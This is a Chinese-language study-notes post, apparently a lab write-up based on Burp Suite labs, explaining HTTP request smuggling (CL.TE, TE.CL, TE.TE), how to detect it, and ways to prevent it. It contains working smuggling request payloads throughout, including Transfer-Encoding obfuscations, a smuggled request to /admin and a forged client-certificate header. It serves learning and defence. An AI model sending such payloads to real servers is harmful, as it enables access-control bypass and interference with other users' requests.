写在前面
前面已经写过了http的基本内容,本篇简单的记录一下学习http走私的内容
什么是HTTP走私
简单来说,HTTP的请求包中会带有另一个或者多个HTTP请求包。因为在http1.1中引入了长连接keep-alive与pipline的概念,长连接允许多个请求使用同一个tcp连接,前置服务器和后端服务器在http上面的划分不一致的时候就会导致HTTP走私。
HTTP走私产生的原因
HTTP规范提供了两种指定请求结束的位置
Content-Length头以字节为单位指定消息正文的长度
Transfer-Encoding头一般指定邮件正文使用分块编码
下面用两个例子说明一下两种头的作用
Content-Length:以字节为单位指定了消息正文的长度
POST /search HTTP/1.1 Host: normal-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 11
q=smuggling
Transfer-Encoding:指定消息正文使用分块编码,这意味着消息正文包含一个或者多个数据块,每个块由字节为单位的块大小组成,后跟块内容,消息以大小为零的块终止。
POST /search HTTP/1.1
Host: normal-website.com
Content-Type: application/x-www-form-urlencoded
Transfer-Encoding: chunked
b
q=smuggling
0
前置服务器和后端服务器对于两种头的优先级不同,导致漏洞产生
HTTP走私分为三种,一下实验基于burp靶场
CL.TE漏洞
一个简单的例子:
当一个包中同时使用CL头和TE头
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 13
Transfer-Encoding: chunked
0
SMUGGLED
前端服务器优先处理CL头识别从正文开始的13个字节,当这个请求包发送到后端服务器的时候会优先处理TE头,这里因为0的下一行是空,后端服务器认为是结束了,多出来的数据会等待下一个请求包,作为下一个请求包的开头,这里就会产生HTTP走私。
下面靶场测试
因为是一个简单的demo,这里直接更改请求包
连续发包两次,成功造成http走私
成功
TE.CL漏洞
与前一个相反,这个漏洞前端服务器使用TE头处理,后端服务器使用CL头处理
还是一个简单的例子
POST / HTTP/1.1
Host: vulnerable-website.com
Content-Length: 3
Transfer-Encoding: chunked
8
SMUGGLED
0
前端服务器使用TE使用分块编码,第一个分块8字节,遇到0,说明第二个分块被定义为0终止请求,转发到后端服务器,识别三个字节到8,后面剩余出来
靶场测试
成功
TE.TE漏洞
前端和后端服务器都支持TE,可以通过混淆他们来使得一个服务器不处理TE请求头,实际上还是CL-TE或者TE-CL
常用的混淆方式:
Transfer-Encoding: xchunked
Transfer-Encoding : chunked
Transfer-Encoding: chunked
Transfer-Encoding: x
Transfer-Encoding:[tab]chunked
[space]Transfer-Encoding: chunked
X: X[\n]Transfer-Encoding: chunked
Transfer-Encoding
: chunked
接下来还是通过一个靶场来练习一下
识别HTTP走私漏洞
检测HTTP请求走私漏洞最常用的有效方法是发送请求,存在HTTP走私会响应延迟
利用计时查找CL.TE漏洞
如果是http请求走私的CL,TE的攻击,那么可以构造下面的请求方式来测试
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 4\r\n
\r\n
1\r\n
A\r\n
X
前端服务器优先处理CL标头因此只转发了
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 4\r\n
\r\n
1\r\n
A
这个部分而后端服务器优先处理T.E头,但是没有遇到0会等待下一个块到达,所以造成了时延
使用计时技术查找 TE.CL 漏洞
如果是HTTP请求走私的TE.CL攻击 ,那么可以构造下面的http请求形式来测试
POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 6\r\n
0\r\n
\r\n
X
前端服务器优先处理TE头发现0终止,而后端服务器因不够6为而继续等待
利用差分响应确认HTTP请求走私
在可能存在HTTP请求走私漏洞的地方可以实验该方法来进车
快速连续地向应用程序发送两个请求
目的
- 干扰下一个请求的处理的“攻击”请求。
- “正常”请求。
使用差分响应确认CL.TE漏洞
要确认CL.TE漏洞,您需要发送如下攻击请求:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 49
Transfer-Encoding: chunked
e
q=smuggling&x=
0
GET /404 HTTP/1.1
Foo: x
前端服务器优先CL头发送整个包,后端服务器优先处理CL头遇到0块停止处理
GET /404 HTTP/1.1
Foo: x
会接在下一部分发来的请求包,构成如下形式构成请求包
GET /404 HTTP/1.1
Foo: xPOST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
造成HTTP走私请求
下面通过靶场来证明漏洞利用
payload:
Content-Length: 39
Transfer-Encoding: chunked
0
GET /404 HTTP/1.1
X-Ignore: X
连续发两次
使用差分响应确认TE.CL漏洞
确定TE.CL漏洞,您可以使用如下方式:
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
7c
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 144
x=1
0
如果攻击成功,则后端服务器会将此后所有的内容视为属于收到的下一个请求。这将导致后续的“正常”请求如下:
GET /404 HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 146
x=1
0
POST /search HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
q=smuggling
由于此请求现在包含无效的 URL,因此服务器将使用状态代码 404 进行响应,指示攻击请求确实干扰了它。
接下来使用burp靶场证实
payload:
Content-length: 4
Transfer-Encoding: chunked
5e
POST /404 HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0
抓包
修改后放两次
如何利用漏洞
使用http请求走私绕过前端安全控制
在部分的应用程序中,前端Web服务器用于实现某些安全控制,从而决定一个请求是否被允许,允许的请求才会被转发到后端服务器,在后端服务器中,这些请求因为通过了安全控制被认为是安全的,故而不会再进一步检查
必然说通过下面的方式绕过限制请求/home/admin
POST /home HTTP/1.1
Host: vulnerable-website.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: vulnerable-website.com
Foo: xGET /home HTTP/1.1
Host: vulnerable-website.com
下面通过两个题来证实一下可行性
先直接访问admin,发现回显admin被阻止了
使用走私的方法,发现提示需要local,加上标头
两个包的主机头相互冲突
加上主机标头,请求delete
直接访问被阻止
构造http走私
又是因为local,继续构造
接下来像刚刚一样,delete
对前端服务器进行重写
简单来说就是前端服务器对标头的更改有限制,因为有前端服务器的限制后端服务器就会认为传来的包是安全的
还是一个题来体现一下
先构造
然后发现回显X-ReHyRF-IP不是本地的,根据题目要求构造
成功进入接下来根据题目要求删除carlos
完成
绕过客户端验证
作为TLS握手的一部分,服务器通过提供证书向客户端(通常是浏览器)验证自己的身份。此证书包含其“公共名“(CN),该名称应与其注册的用户名匹配
一些站点更进一步;实现一种形式的相互TLS身份认证,其中客户端还必须向服务器提供证书,这种情况下客户端的CN通常是用户名或者类似的名称
对客户端进行身份验证的组件通常通过一个或者多个非标准的http标头将相关信息从证书传递到应用程序或者后端服务器
GET /admin HTTP/1.1
Host: normal-website.com
X-SSL-CLIENT-CN: carlos
因为这些标头对前端服务器隐藏,所以会被后端服务器信任。
POST /example HTTP/1.1
Host: vulnerable-website.com
Content-Type: x-www-form-urlencoded
Content-Length: 64
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
X-SSL-CLIENT-CN: administrator
Foo: x
如何防止HTTP请求走私漏洞
- 使用 HTTP/2 端到端,并在可能的情况下禁用 HTTP 降级。HTTP/2 使用可靠的机制来确定请求的长度,并且在端到端使用时,本质上可以防止请求走私。如果无法避免 HTTP 降级,请确保根据 HTTP/1.1 规范验证重写的请求。例如,拒绝标头中包含换行符、标头名称中包含冒号以及请求方法中包含空格的请求。
- 使前端服务器规范化不明确的请求,并使后端服务器拒绝任何仍然不明确的请求,从而在此过程中关闭 TCP 连接。
- 永远不要假设请求没有正文。这是 CL.0 和客户端取消同步漏洞的根本原因。
- 默认为在处理请求时触发服务器级异常时放弃连接。
- 如果通过转发代理路由流量,请确保尽可能启用上游 HTTP/2。
原文地址:http://www.cnblogs.com/LQ-Joker/p/16820117.html